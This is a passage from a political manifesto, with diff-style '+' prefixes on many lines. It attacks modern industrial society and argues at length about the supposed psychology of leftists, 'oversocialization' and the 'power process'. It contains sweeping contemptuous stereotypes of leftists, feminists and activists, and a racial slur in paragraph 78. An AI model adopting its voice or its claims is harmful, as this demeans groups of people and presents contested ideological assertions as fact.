Asian +immigrant, abused woman or disabled person, but a minority of activists, many of whom do not even belong to any +“oppressed” group but come from privileged strata of society. Political correctness has its stronghold among university +professors, who have secure employment with comfortable salaries, and the majority of whom are heterosexual white males +from middle- to upper-middle-class families. +13. Many leftists have an intense identification with the problems of groups that have an image of being weak (women), +defeated (American Indians), repellent (homosexuals) or otherwise inferior. The leftists themselves feel that these groups are +inferior. They would never admit to themselves that they have such feelings, but it is precisely because they do see these +groups as inferior that they identify with their problems. (We do not mean to suggest that women, Indians, etc. ARE inferior; +we are only making a point about leftist psychology.) +14. Feminists are desperately anxious to prove that women are as strong and as capable as men. Clearly they are nagged by a +fear that women may NOT be as strong and as capable as men. + +15. Leftists tend to hate anything that has an image of being strong, good and successful. They hate America, they hate +Western civilization, they hate white males, they hate rationality. The reasons that leftists give for hating the West, etc. clearly +do not correspond with their real motives. They SAY they hate the West because it is warlike, imperialistic, sexist, ethnocentric +and so forth, but where these same faults appear in socialist countries or in primitive cultures, the leftist finds excuses for them, +or at best he GRUDGINGLY admits that they exist; whereas he ENTHUSIASTICALLY points out (and often greatly +exaggerates) these faults where they appear in Western civilization. Thus it is clear that these faults are not the leftist’s real +motive for hating America and the West. He hates America and the West because they are strong and successful. +16. Words like “self-confidence,” “self-reliance,” “initiative,” “enterprise,” “optimism,” etc., play little role in the liberal and +leftist vocabulary. The leftist is anti-individualistic, pro-collectivist. He wants society to solve every one’s problems for them, +satisfy everyone’s needs for them, take care of them. He is not the sort of person who has an inner sense of confidence in his +ability to solve his own problems and satisfy his own needs. The leftist is antagonistic to the concept of competition because, +deep inside, he feels like a loser. +17. Art forms that appeal to modern leftish intellectuals tend to focus on sordidness, defeat and despair, or else they take an +orgiastic tone, throwing off rational control as if there were no hope of accomplishing anything through rational calculation and +all that was left was to immerse oneself in the sensations of the moment. +18. Modern leftish philosophers tend to dismiss reason, science, objective reality and to insist that everything is culturally +relative. It is true that one can ask serious questions about the foundations of scientific knowledge and about how, if at all, the +concept of objective reality can be defined. But it is obvious that modern leftish philosophers are not simply cool-headed +logicians systematically analyzing the foundations of knowledge. They are deeply involved emotionally in their attack on truth +and reality. They attack these concepts because of their own psychological needs. For one thing, their attack is an outlet for +hostility, and, to the extent that it is successful, it satisfies the drive for power. More importantly, the leftist hates science and +rationality because they classify certain beliefs as true (i.e., successful, superior) and other beliefs as false (i.e., failed, inferior). +The leftist’s feelings of inferiority run so deep that he cannot tolerate any classification of some things as successful or superior +and other things as failed or inferior. This also underlies the rejection by many leftists of the concept of mental illness and of +the utility of IQ tests. Leftists are antagonistic to genetic explanations of human abilities or behavior because such explanations +tend to make some persons appear superior or inferior to others. Leftists prefer to give society the credit or blame for an +individual’s ability or lack of it. Thus if a person is “inferior” it is not his fault, but society’s, because he has not been brought +up properly. +19. The leftist is not typically the kind of person whose feelings of inferiority make him a braggart, an egotist, a bully, a selfpromoter, a ruthless competitor. This kind of person has not wholly lost faith in himself. He has a deficit in his sense of power +and self-worth, but he can still conceive of himself as having the capacity to be strong, and his efforts to make himself strong +produce his unpleasant behavior. [1] But the leftist is too far gone for that. His feelings of inferiority are so ingrained that he +cannot conceive of himself as individually strong and valuable. Hence the collectivism of the leftist. He can feel strong only as +a member of a large organization or a mass movement with which he identifies himself. +20. Notice the masochistic tendency of leftist tactics. Leftists protest by lying down in front of vehicles, they intentionally +provoke police or racists to abuse them, etc. These tactics may often be effective, but many leftists use them not as a means to +an end but because they PREFER masochistic tactics. Self-hatred is a leftist trait. +21. Leftists may claim that their activism is motivated by compassion or by moral principles, and moral principle does play a +role for the leftist of the oversocialized type. But compassion and moral principle cannot be the main motives for leftist +activism. Hostility is too prominent a component of leftist behavior; so is the drive for power. Moreover, much leftist behavior +is not rationally calculated to be of benefit to the people whom the leftists claim to be trying to help. For example, if one +believes that affirmative action is good for black people, does it make sense to demand affirmative action in hostile or +dogmatic terms? Obviously it would be more productive to take a diplomatic and conciliatory approach that would make at +least verbal and symbolic concessions to white people who think that affirmative action discriminates against them. But leftist +activists do not take such an approach because it would not satisfy their emotional needs. Helping black people is not their real +goal. Instead, race problems serve as an excuse for them to express their own hostility and frustrated need for power. In doing +so they actually harm black people, because the activists’ hostile attitude toward the white majority tends to intensify race +hatred. +22. If our society had no social problems at all, the leftists would have to INVENT problems in order to provide themselves +with an excuse for making a fuss. + +23. We emphasize that the foregoing does not pretend to be an accurate description of everyone who might be considered a +leftist. It is only a rough indication of a general tendency of leftism. + +Oversocialization +24. Psychologists use the term “socialization” to designate the process by which children are trained to think and act as society +demands. A person is said to be well socialized if he believes in and obeys the moral code of his society and fits in well as a +functioning +part of that society. It may seem senseless to say that many leftists are over-socialized, since the leftist is +perceived as a rebel. Nevertheless, the position can be defended. Many leftists are not such rebels as they seem. +25. The moral code of our society is so demanding that no one can think, feel and act in a completely moral way. For example, +we are not supposed to hate anyone, yet almost everyone hates somebody at some time or other, whether he admits it to himself +or not. Some people are so highly socialized that the attempt to think, feel and act morally imposes a severe burden on them. In +order to avoid feelings of guilt, they continually have to deceive themselves about their own motives and find moral +explanations for feelings and actions that in reality have a nonmoral origin. We use the term “oversocialized” to describe such +people. [2] +26. Oversocialization can lead to low self-esteem, a sense of powerlessness, defeatism, guilt, etc. One of the most important +means by which our society socializes children is by making them feel ashamed of behavior or speech that is contrary to +society’s expectations. If this is overdone, or if a particular child is especially susceptible to such feelings, he ends by feeling +ashamed of HIMSELF. Moreover the thought and the behavior of the oversocialized person are more restricted by society’s +expectations than are those of the lightly socialized person. The majority of people engage in a significant amount of naughty +behavior. They lie, they commit petty thefts, they break traffic laws, they goof off at work, they hate someone, they say spiteful +things or they use some underhanded trick to get ahead of the other guy. The oversocialized person cannot do these things, or if +he does do them he generates in himself a sense of shame and self-hatred. The oversocialized person cannot even experience, +without guilt, thoughts or feelings that are contrary to the accepted morality; he cannot think “unclean” thoughts. And +socialization is not just a matter of morality; we are socialized to conform to many norms of behavior that do not fall under the +heading of morality. Thus the oversocialized person is kept on a psychological leash and spends his life running on rails that +society has laid down for him. In many oversocialized people this results in a sense of constraint and powerlessness that can be +a severe hardship. We suggest that oversocialization is among the more serious cruelties that human being inflict on one +another. +27. We argue that a very important and influential segment of the modern left is oversocialized and that their oversocialization +is of great importance in determining the direction of modern leftism. Leftists of the oversocialized type tend to be intellectuals +or members of the upper-middle class. Notice that university intellectuals [3] constitute the most highly socialized segment of +our society and also the most leftwing segment. +28. The leftist of the oversocialized type tries to get off his psychological leash and assert his autonomy by rebelling. But +usually he is not strong enough to rebel against the most basic values of society. Generally speaking, the goals of today’s +leftists are NOT in conflict with the accepted morality. On the contrary, the left takes an accepted moral principle, adopts it as +its own, and then accuses mainstream society of violating that principle. Examples: racial equality, equality of the sexes, +helping poor people, peace as opposed to war, nonviolence generally, freedom of expression, kindness to animals. More +fundamentally, the duty of the individual to serve society and the duty of society to take care of the individual. All these have +been deeply rooted values of our society (or at least of its middle and upper classes [4] for a long time. These values are +explicitly or implicitly expressed or presupposed in most of the material presented to us by the mainstream communications +media and the educational system. Leftists, especially those of the oversocialized type, usually do not rebel against these +principles but justify their hostility to society by claiming (with some degree of truth) that society is not living up to these +principles. +29. Here is an illustration of the way in which the oversocialized leftist shows his real attachment to the conventional attitudes +of our society while pretending to be in rebellion against it. Many leftists push for affirmative action, for moving black people +into high-prestige jobs, for improved education in black schools and more money for such schools; the way of life of the black +“underclass” they regard as a social disgrace. They want to integrate the black man into the system, make him a business +executive, a lawyer, a scientist just like upper-middle-class white people. The leftists will reply that the last thing they want is +to make the black man into a copy of the white man; instead, they want to preserve African American culture. But in what does +this preservation of African American culture consist? It can hardly consist in anything more than eating black-style food, + +listening to black-style music, wearing black-style clothing and going to a black-style church or mosque. In other words, it can +express itself only in superficial matters. In all ESSENTIAL respects most leftists of the oversocialized type want to make the +black man conform to white, middle-class ideals. They want to make him study technical subjects, become an executive or a +scientist, spend his life climbing the status ladder to prove that black people are as good as white. They want to make black +fathers “responsible,” they want black gangs to become nonviolent, etc. But these are exactly the values of the industrialtechnological system. The system couldn’t care less what kind of music a man listens to, what kind of clothes he wears or what +religion he believes in as long as he studies in school, holds a respectable job, climbs the status ladder, is a “responsible” +parent, is nonviolent and so forth. In effect, however much he may deny it, the oversocialized leftist wants to integrate the +black man into the system and make him adopt its values. +30. We certainly do not claim that leftists, even of the oversocialized type, NEVER rebel against the fundamental values of our +society. Clearly they sometimes do. Some oversocialized leftists have gone so far as to rebel against one of modern society’s +most important principles by engaging in physical violence. By their own account, violence is for them a form of “liberation.” +In other words, by committing violence they break through the psychological restraints that have been trained into them. +Because they are oversocialized these restraints have been more confining for them than for others; hence their need to break +free of them. But they usually justify their rebellion in terms of mainstream values. If they engage in violence they claim to be +fighting against racism or the like. +31. We realize that many objections could be raised to the foregoing thumbnail sketch of leftist psychology. The real situation +is complex, and anything like a complete description of it would take several volumes even if the necessary data were +available. We claim only to have indicated very roughly the two most important tendencies in the psychology of modern +leftism. +32. The problems of the leftist are indicative of the problems of our society as a whole. Low self-esteem, depressive tendencies +and defeatism are not restricted to the left. Though they are especially noticeable in the left, they are widespread in our society. +And today’s society tries to socialize us to a greater extent than any previous society. We are even told by experts how to eat, +how to exercise, how to make love, how to raise our kids and so forth. + +The Power Process +33. Human beings have a need (probably based in biology) for something that we will call the “power process.” This is closely +related to the need for power (which is widely recognized) but is not quite the same thing. The power process has four +elements. The three most clear-cut of these we call goal, effort and attainment of goal. (Everyone needs to have goals whose +attainment requires effort, and needs to succeed in attaining at least some of his goals.) The fourth element is more difficult to +define and may not be necessary for everyone. We call it autonomy and will discuss it later (paragraphs 42-44). +34. Consider the hypothetical case of a man who can have anything he wants just by wishing for it. Such a man has power, but +he will develop serious psychological problems. At first he will have a lot of fun, but by and by he will become acutely bored +and demoralized. Eventually he may become clinically depressed. History shows that leisured aristocracies tend to become +decadent. This is not true of fighting aristocracies that have to struggle to maintain their power. But leisured, secure +aristocracies that have no need to exert themselves usually become bored, hedonistic and demoralized, even though they have +power. This shows that power is not enough. One must have goals toward which to exercise one’s power. +35. Everyone has goals; if nothing else, to obtain the physical necessities of life: food, water and whatever clothing and shelter +are made necessary by the climate. But the leisured aristocrat obtains these things without effort. Hence his boredom and +demoralization. +36. Nonattainment of important goals results in death if the goals are physical necessities, and in frustration if nonattainment of +the goals is compatible with survival. Consistent failure to attain goals throughout life results in defeatism, low self-esteem or +depression. +37. Thus, in order to avoid serious psychological problems, a human being needs goals whose attainment requires effort, and +he must have a reasonable rate of success in attaining his goals. + +Surrogate Activities + +38. But not every leisured aristocrat becomes bored and demoralized. For example, the emperor Hirohito, instead of sinking +into decadent hedonism, devoted himself to marine biology, a field in which he became distinguished. When people do not +have to exert themselves to satisfy their physical needs they often set up artificial goals for themselves. In many cases they then +pursue these goals with the same energy and emotional involvement that they otherwise would have put into the search for +physical necessities. Thus the aristocrats of the Roman Empire had their literary pretensions; many European aristocrats a few +centuries ago invested tremendous time and energy in hunting, though they certainly didn’t need the meat; other aristocracies +have competed for status through elaborate displays of wealth; and a few aristocrats, like Hirohito, have turned to science. +39. We use the term “surrogate activity” to designate an activity that is directed toward an artificial goal that people set up for +themselves merely in order to have some goal to work toward, or let us say, merely for the sake of the “fulfillment” that they +get from pursuing the goal. Here is a rule of thumb for the identification of surrogate activities. Given a person who devotes +much time and energy to the pursuit of goal X, ask yourself this: If he had to devote most of his time and energy to satisfying +his biological needs, and if that effort required him to use his physical and mental faculties in a varied and interesting way, +would he feel seriously deprived because he did not attain goal X? If the answer is no, then the person’s pursuit of goal X is a +surrogate activity. Hirohito’s studies in marine biology clearly constituted a surrogate activity, since it is pretty certain that if +Hirohito had had to spend his time working at interesting non-scientific tasks in order to obtain the necessities of life, he would +not have felt deprived because he didn’t know all about the anatomy and life-cycles of marine animals. On the other hand the +pursuit of sex and love (for example) is not a surrogate activity, because most people, even if their existence were otherwise +satisfactory, would feel deprived if they passed their lives without ever having a relationship with a member of the opposite +sex. (But pursuit of an excessive amount of sex, more than one really needs, can be a surrogate activity.) +40. In modern industrial society only minimal effort is necessary to satisfy one’s physical needs. It is enough to go through a +training program to acquire some petty technical skill, then come to work on time and exert the very modest effort needed to +hold a job. The only requirements are a moderate amount of intelligence and, most of all, simple OBEDIENCE. If one has +those, society takes care of one from cradle to grave. (Yes, there is an underclass that cannot take the physical necessities for +granted, but we are speaking here of mainstream society.) Thus it is not surprising that modern society is full of surrogate +activities. These include scientific work, athletic achievement, humanitarian work, artistic and literary creation, climbing the +corporate ladder, acquisition of money and material goods far beyond the point at which they cease to give any additional +physical satisfaction, and social activism when it addresses issues that are not important for the activist personally, as in the +case of white activists who work for the rights of nonwhite minorities. These are not always PURE surrogate activities, since +for many people they may be motivated in part by needs other than the need to have some goal to pursue. Scientific work may +be motivated in part by a drive for prestige, artistic creation by a need to express feelings, militant social activism by hostility. +But for most people who pursue them, these activities are in large part surrogate activities. For example, the majority of +scientists will probably agree that the “fulfillment” they get from their work is more important than the money and prestige +they earn. +41. For many if not most people, surrogate activities are less satisfying than the pursuit of real goals (that is, goals that people +would want to attain even if their need for the power process were already fulfilled). One indication of this is the fact that, in +many or most cases, people who are deeply involved in surrogate activities are never satisfied, never at rest. Thus the moneymaker constantly strives for more and more wealth. The scientist no sooner solves one problem than he moves on to the next. +The long-distance runner drives himself to run always farther and faster. Many people who pursue surrogate activities will say +that they get far more fulfillment from these activities than they do from the “mundane” business of satisfying their biological +needs, but that is because in our society the effort needed to satisfy the biological needs has been reduced to triviality. More +importantly, in our society people do not satisfy their biological needs AUTONOMOUSLY but by functioning as parts of an +immense social machine. In contrast, people generally have a great deal of autonomy in pursuing their surrogate activities. + +Autonomy +42. Autonomy as a part of the power process may not be necessary for every individual. But most people need a greater or +lesser degree of autonomy in working toward their goals. Their efforts must be undertaken on their own initiative and must be +under their own direction and control. Yet most people do not have to exert this initiative, direction and control as single +individuals. It is usually enough to act as a member of a SMALL group. Thus if half a dozen people discuss a goal among +themselves and make a successful joint effort to attain that goal, their need for the power process will be served. But if they +work under rigid orders handed down from above that leave them no room for autonomous decision and initiative, then their + +need for the power process will not be served. The same is true when decisions are made on a collective basis if the group +making the collective decision is so large that the role of each individual is insignificant. [5] +43. It is true that some individuals seem to have little need for autonomy. Either their drive for power is weak or they satisfy it +by identifying themselves with some powerful organization to which they belong. And then there are unthinking, animal types +who seem to be satisfied with a purely physical sense of power (the good combat soldier, who gets his sense of power by +developing fighting skills that he is quite content to use in blind obedience to his superiors). +44. But for most people it is through the power process having a goal, making an AUTONOMOUS effort and attaining the goal +-- that self-esteem, self-confidence and a sense of power are acquired. When one does not have adequate opportunity to go +through the power process the consequences are (depending on the individual and on the way the power process is disrupted) +boredom, demoralization, low self-esteem, inferiority feelings, defeatism, depression, anxiety, guilt, frustration, hostility, +spouse or child abuse, insatiable hedonism, abnormal sexual behavior, sleep disorders, eating disorders. etc. [6] + +Sources of Social Problems +45. Any of the foregoing symptoms can occur in any society, but in modern industrial society they are present on a massive +scale. We aren’t the first to mention that the world today seems to be going crazy. This sort of thing is not normal for human +societies. There is good reason to believe that primitive man suffered from less stress and frustration and was better satisfied +with his way of life than modern man is. It is true that not all was sweetness and light in primitive societies. Abuse of women +was common among the Australian aborigines, transexuality was fairly common among some of the American Indian tribes. +But it does appear that GENERALLY SPEAKING the kinds of problems that we have listed in the preceding paragraph were +far less common among primitive peoples than they are in modern society. +46. We attribute the social and psychological problems of modern society to the fact that that society requires people to live +under conditions radically different from those under which the human race evolved and to behave in ways that conflict with +the patterns of behavior that the human race developed while living under the earlier conditions. It is clear from what we have +already written that we consider lack of opportunity to properly experience the power process as the most important of the +abnormal conditions to which modern society subjects people. But it is not the only one. Before dealing with disruption of the +power process as a source of social problems we will discuss some of the other sources. +47. Among the abnormal conditions present in modern industrial society are excessive density of population, isolation of man +from nature, excessive rapidity of social change and the breakdown of natural small-scale communities such as the extended +family, the village or the tribe. +48. It is well known that crowding increases stress and aggression. The degree of crowding that exists today and the isolation +of man from nature are consequences of technological progress. All pre-industrial societies were predominantly rural. The +Industrial Revolution vastly increased the size of cities and the proportion of the population that lives in them, and modern +agricultural technology has made it possible for the Earth to support a far denser population than it ever did before. (Also, +technology exacerbates the effects of crowding because it puts increased disruptive powers in people’s hands. For example, a +variety of noise-making devices: power mowers, radios, motorcycles, etc. If the use of these devices is unrestricted, people +who want peace and quiet are frustrated by the noise. If their use is restricted, people who use the devices are frustrated by the +regulations. But if these machines had never been invented there would have been no conflict and no frustration generated by +them.) +49. For primitive societies the natural world (which usually changes only slowly) provided a stable framework and therefore a +sense of security. In the modern world it is human society that dominates nature rather than the other way around, and modern +society changes very rapidly owing to technological change. Thus there is no stable framework. +50. The conservatives are fools: They whine about the decay of traditional values, yet they enthusiastically support +technological progress and economic growth. Apparently it never occurs to them that you can’t make rapid, drastic changes in +the technology and the economy of a society without causing rapid changes in all other aspects of the society as well, and that +such rapid changes inevitably break down traditional values. +51. The breakdown of traditional values to some extent implies the breakdown of the bonds that hold together traditional smallscale social groups. The disintegration of small-scale social groups is also promoted by the fact that modern conditions often +require or tempt individuals to move to new locations, separating themselves from their communities. Beyond that, a +technological society HAS TO weaken family ties and local communities if it is to function efficiently. In modern society an +individual’s loyalty must be first to the system and only secondarily to a smallscale community, because if the internal loyalties +of small-scale communities were stronger than loyalty to the system, such communities would pursue their own advantage at +the expense of the system. +52. Suppose that a public official or a corporation executive appoints his cousin, his friend or his co-religionist to a position +rather than appointing the person best qualified for the job. He has permitted personal loyalty to supersede his loyalty to the +system, and that is “nepotism” or “discrimination,” both of which are terrible sins in modern society. Would-be industrial +societies that have done a poor job of subordinating personal or local loyalties to loyalty to the system are usually very +inefficient. (Look at Latin America.) Thus an advanced industrial society can tolerate only those small-scale communities that +are emasculated, tamed and made into tools of the system. [7] +53. Crowding, rapid change and the breakdown of communities have been widely recognized as sources of social problems. +But we do not believe they are enough to account for the extent of the problems that are seen today. +54. A few pre-industrial cities were very large and crowded, yet their inhabitants do not seem to have suffered from +psychological problems to the same extent as modern man. In America today there still are uncrowded rural areas, and we find +there the same problems as in urban areas, though the problems tend to be less acute in the rural areas. Thus crowding does not +seem to be the decisive factor. +55. On the growing edge of the American frontier during the 19th century, the mobility of the population probably broke down +extended families and small-scale social groups to at least the same extent as these are broken down today. In fact, many +nuclear families lived by choice in such isolation, having no neighbors within several miles, that they belonged to no +community at all, yet they do not seem to have developed problems as a result. +56. Furthermore, change in American frontier society was very rapid and deep. A man might be born and raised in a log cabin, +outside the reach of law and order and fed largely on wild meat; and by the time he arrived at old age he might be working at a +regular job and living in an ordered community with effective law enforcement. This was a deeper change than that which +typically occurs in the life of a modern individual, yet it does not seem to have led to psychological problems. In fact, 19th +century American society had an optimistic and self-confident tone, quite unlike that of today’s society. [8] +57. The difference, we argue, is that modern man has the sense (largely justified) that change is IMPOSED on him, whereas the +19th century frontiersman had the sense (also largely justified) that he created change himself, by his own choice. Thus a +pioneer settled on a piece of land of his own choosing and made it into a farm through his own effort. In those days an entire +county might have only a couple of hundred inhabitants and was a far more isolated and autonomous entity than a modern +county is. Hence the pioneer farmer participated as a member of a relatively small group in the creation of a new, ordered +community. One may well question whether the creation of this community was an improvement, but at any rate it satisfied the +pioneer’s need for the power process. +58. It would be possible to give other examples of societies in which there has been rapid change and/or lack of close +community ties without the kind of massive behavioral aberration that is seen in today’s industrial society. We contend that the +most important cause of social and psychological problems in modern society is the fact that people have insufficient +opportunity to go through the power process in a normal way. We don’t mean to say that modern society is the only one in +which the power process has been disrupted. Probably most if not all civilized societies have interfered with the power process +to a greater or lesser extent. But in modern industrial society the problem has become particularly acute. Leftism, at least in its +recent (mid- to late-20th century) form, is in part a symptom of deprivation with respect to the power process. + +Disruption of the Power Process in Modern Society +59. We divide human drives into three groups: (1) those drives that can be satisfied with minimal effort; (2) those that can be +satisfied but only at the cost of serious effort; (3) those that cannot be adequately satisfied no matter how much effort one +makes. The power process is the process of satisfying the drives of the second group. The more drives there are in the third +group, the more there is frustration, anger, eventually defeatism, depression, etc. +60. In modern industrial society natural human drives tend to be pushed into the first and third groups, and the second group +tends to consist increasingly of artificially created drives. +61. In primitive societies, physical necessities generally fall into group 2: They can be obtained, but only at the cost of serious +effort. But modern society tends to guaranty the physical necessities to everyone [9] in exchange for only minimal effort, hence +physical needs are pushed into group 1. (There may be disagreement about whether the effort needed to hold a job is +“minimal”; but usually, in lower- to middle-level jobs, whatever effort is required is merely that of OBEDIENCE. You sit or +stand where you are told to sit or stand and do what you are told to do in the way you are told to do it. Seldom do you have to +exert yourself seriously, and in any case you have hardly any autonomy in work, so that the need for the power process is not +well served.) +62. Social needs, such as sex, love and status, often remain in group 2 in modern society, depending on the situation of the +individual. [10] But, except for people who have a particularly strong drive for status, the effort required to fulfill the social +drives is insufficient to satisfy adequately the need for the power process. +63. So certain artificial needs have been created that fall into group 2, hence serve the need for the power process. Advertising +and marketing techniques have been developed that make many people feel they need things that their grandparents never +desired or even dreamed of. It requires serious effort to earn enough money to satisfy these artificial needs, hence they fall into +group 2. (But see paragraphs 80-82.) Modern man must satisfy his need for the power process largely through pursuit of the +artificial needs created by the advertising and marketing industry [11], and through surrogate activities. +64. It seems that for many people, maybe the majority, these artificial forms of the power process are insufficient. A theme that +appears repeatedly in the writings of the social critics of the second half of the 20th century is the sense of purposelessness that +afflicts many people in modern society. (This purposelessness is often called by other names such as “anomie” or “middleclass vacuity.”) We suggest that the so-called “identity crisis” is actually a search for a sense of purpose, often for commitment +to a suitable surrogate activity. It may be that existentialism is in large part a response to the purposelessness of modern life. +[12] Very widespread in modern society is the search for “fulfillment.” But we think that for the majority of people an activity +whose main goal is fulfillment (that is, a surrogate activity) does not bring completely satisfactory fulfillment. In other words, +it does not fully satisfy the need for the power process. (See paragraph 41.) That need can be fully satisfied only through +activities that have some external goal, such as physical necessities, sex, love, status, revenge, etc. +65. Moreover, where goals are pursued through earning money, climbing the status ladder or functioning as part of the system +in some other way, most people are not in a position to pursue their goals AUTONOMOUSLY. Most workers are someone +else’s employee and, as we pointed out in paragraph 61, must spend their days doing what they are told to do in the way they +are told to do it. Even people who are in business for themselves have only limited autonomy. It is a chronic complaint of +small-business persons and entrepreneurs that their hands are tied by excessive government regulation. Some of these +regulations are doubtless unnecessary, but for the most part government regulations are essential and inevitable parts of our +extremely complex society. A large portion of small business today operates on the franchise system. It was reported in the +Wall Street Journal a few years ago that many of the franchise-granting companies require applicants for franchises to take a +personality test that is designed to EXCLUDE those who have creativity and initiative, because such persons are not +sufficiently docile to go along obediently with the franchise system. This excludes from small business many of the people who +most need autonomy. +66. Today people live more by virtue of what the system does FOR them or TO them than by virtue of what they do for +themselves. And what they do for themselves is done more and more along channels laid down by the system. Opportunities +tend to be those that the system provides, the opportunities must be exploited in accord with rules and regulations [13], and +techniques prescribed by experts must be followed if there is to be a chance of success. +67. Thus the power process is disrupted in our society through a deficiency of real goals and a deficiency of autonomy in the +pursuit of goals. But it is also disrupted because of those human drives that fall into group 3: the drives that one cannot +adequately satisfy no matter how much effort one makes. One of these drives is the need for security. Our lives depend on +decisions made by other people; we have no control over these decisions and usually we do not even know the people who +make them. (“We live in a world in which relatively few people -- maybe 500 or 1,000 make the important decisions” -- Philip +B. Heymann of Harvard Law School, quoted by Anthony Lewis, New York Times, April 21,1995.) Our lives depend on +whether safety standards at a nuclear power plant are properly maintained; on how much pesticide is allowed to get into our +food or how much pollution into our air; on how skillful (or incompetent) our doctor is; whether we lose or get a job may +depend on decisions made by government economists or corporation executives; and so forth. Most individuals are not in a +position to secure themselves against these threats to more [than] a very limited extent. The individual’s search for security is +therefore frustrated, which leads to a sense of powerlessness. +68. It may be objected that primitive man is physically less secure than modern man, as is shown by his shorter life expectancy; +hence modern man suffers from less, not more than the amount of insecurity that is normal for human beings. But +psychological security does not closely correspond with physical security. What makes us FEEL secure is not so much +objective security as a sense of confidence in our ability to take care of ourselves. Primitive man, threatened by a fierce animal +or by hunger, can fight in self-defense or travel in search of food. He has no certainty of success in these efforts, but he is by no +means helpless against the things that threaten him. The modern individual on the other hand is threatened by many things +against which he is helpless: nuclear accidents, carcinogens in food, environmental pollution, war, increasing taxes, invasion of +his privacy by large organizations, nationwide social or economic phenomena that may disrupt his way of life. +69. It is true that primitive man is powerless against some of the things that threaten him; disease for example. But he can +accept the risk of disease stoically. It is part of the nature of things, it is no one’s fault, unless it is the fault of some imaginary, +impersonal demon. But threats to the modern individual tend to be MAN-MADE. They are not the results of chance but are +IMPOSED on him by other persons whose decisions he, as an individual, is unable to influence. Consequently he feels +frustrated, humiliated and angry. +70. Thus primitive man for the most part has his security in his own hands (either as an individual or as a member of a SMALL +group) whereas the security of modern man is in the hands of persons or organizations that are too remote or too large for him +to be able personally to influence them. So modern man’s drive for security tends to fall into groups 1 and 3; in some areas +(food, shelter etc.) his security is assured at the cost of only trivial effort, whereas in other areas he CANNOT attain security. +(The foregoing greatly simplifies the real situation, but it does indicate in a rough, general way how the condition of modern +man differs from that of primitive man.) +71. People have many transitory drives or impulses that are necessarily frustrated in modern life, hence fall into group 3. One +may become angry, but modern society cannot permit fighting. In many situations it does not even permit verbal aggression. +When going somewhere one may be in a hurry, or one may be in a mood to travel slowly, but one generally has no choice but +to move with the flow of traffic and obey the traffic signals. One may want to do one’s work in a different way, but usually one +can work only according to the rules laid down by one’s employer. In many other ways as well, modern man is strapped down +by a network of rules and regulations (explicit or implicit) that frustrate many of his impulses and thus interfere with the power +process. Most of these regulations cannot be dispensed with, because they are necessary for the functioning of industrial +society. +72. Modern society is in certain respects extremely permissive. In matters that are irrelevant to the functioning of the system +we can generally do what we please. We can believe in any religion (as long as it does not encourage behavior that is +dangerous to the system). We can go to bed with anyone we like (as long as we practice “safe sex”). We can do anything we +like as long as it is UNIMPORTANT. But in all IMPORTANT matters the system tends increasingly to regulate our behavior. +73. Behavior is regulated not only through explicit rules and not only by the government. Control is often exercised through +indirect coercion or through psychological pressure or manipulation, and by organizations other than the government, or by the +system as a whole. Most large organizations use some form of propaganda [14] to manipulate public attitudes or behavior. +Propaganda is not limited to “commercials” and advertisements, and sometimes it is not even consciously intended as +propaganda by the people who make it. For instance, the content of entertainment programming is a powerful form of +propaganda. An example of indirect coercion: There is no law that says we have to go to work every day and follow our +employer’s orders. Legally there is nothing to prevent us from going to live in the wild like primitive people or from going into +business for ourselves. But in practice there is very little wild country left, and there is room in the economy for only a limited +number of small business owners. Hence most of us can survive only as someone else’s employee. +74. We suggest that modern man’s obsession with longevity, and with maintaining physical vigor and sexual attractiveness to +an advanced age, is a symptom of unfulfillment resulting from deprivation with respect to the power process. The “mid-life +crisis” also is such a symptom. So is the lack of interest in having children that is fairly common in modern society but almost +unheard-of in primitive societies. +75. In primitive societies life is a succession of stages. The needs and purposes of one stage having been fulfilled, there is no +particular reluctance about passing on to the next stage. A young man goes through the power process by becoming a hunter, +hunting not for sport or for fulfillment but to get meat that is necessary for food. (In young women the process is more +complex, with greater emphasis on social power; we won’t discuss that here.) This phase having been successfully passed +through, the young man has no reluctance about settling down to the responsibilities of raising a family. (In contrast, some +modern people indefinitely postpone having children because they are too busy seeking some kind of “fulfillment.” We suggest +that the fulfillment they need is adequate experience of the power process -- with real goals instead of the artificial goals of +surrogate activities.) Again, having successfully raised his children, going through the power process by providing them with +the physical necessities, the primitive man feels that his work is done and he is prepared to accept old age (if he survives that +long) and death. any modern people, on the other hand, are disturbed by the prospect of physical deterioration and death, as is +shown by the amount of effort they expend trying to maintain their physical condition, appearance and health. We argue that +this is due to unfulfillment resulting from the fact that they have never put their physical powers to any practical use, have +never gone through the power process using their bodies in a serious way. It is not the primitive man, who has used his body +daily for practical purposes, who fears the deterioration of age, but the modern man, who has never had a practical use for his +body beyond walking from his car to his house. It is the man whose need for the power process has been satisfied during his +life who is best prepared to accept the end of that life. +76. In response to the arguments of this section someone will say, “Society must find a way to give people the opportunity to +go through the power process.” For such people the value of the opportunity is destroyed by the very fact that society gives it to +them. What they need is to find or make their own opportunities. As long as the system GIVES them their opportunities it still +has them on a leash. To attain autonomy they must get off that leash. + +How Some People Adjust +77. Not everyone in industrial-technological society suffers from psychological problems. Some people even profess to be +quite satisfied with society as it is. We now discuss some of the reasons why people differ so greatly in their response to +modern society. +78. First, there doubtless are differences in the strength of the drive for power. Individuals with a weak drive for power may +have relatively little need to go through the power process, or at least relatively little need for autonomy in the power process. +These are docile types who would have been happy as plantation darkies in the Old South. (We don’t mean to sneer at the +“plantation darkies” of the Old South. To their credit, most of the slaves were NOT content with their servitude. We do sneer at +people who ARE content with servitude.) +79. Some people may have some exceptional drive, in pursuing which they satisfy their need for the power process. For +example, those who have an unusually strong drive for social status may spend their whole lives climbing the status ladder +without ever getting bored with that game. +80. People vary in their susceptibility to advertising and marketing techniques. Some are so susceptible that, even if they make +a great deal of money, they cannot satisfy their constant craving for the shiny new toys that the marketing industry dangles +before their eyes. So they always feel hard-pressed financially even if their income is large, and their cravings are frustrated. +81. Some people have low susceptibility to advertising and marketing techniques. These are the people who aren’t interested in +money. Material acquisition does not serve their need for the power process. +82. People who have medium susceptibility to advertising and marketing techniques are able to earn enough money to satisfy +their craving for goods and services, but only at the cost of serious effort (putting in overtime, taking a second job, earning +promotions, etc.). Thus material acquisition serves their need for the power process. But it does not necessarily follow that their +need is fully satisfied. They may have insufficient autonomy in the power process (their work may consist of following orders) +and some of their drives may be frustrated (e.g., security, aggression). (We are guilty of oversimplification in paragraphs 80-82 +because we have assumed that the desire for material acquisition is entirely a creation of the advertising and marketing +industry. Of course it’s not that simple. [11] +83. Some people partly satisfy their need for power by identifying themselves with a powerful organization or mass movement. +An individual lacking goals or power joins a movement or an organization, adopts its goals as his own, then works toward +those goals. When some of the goals are attained, the individual, even though his personal 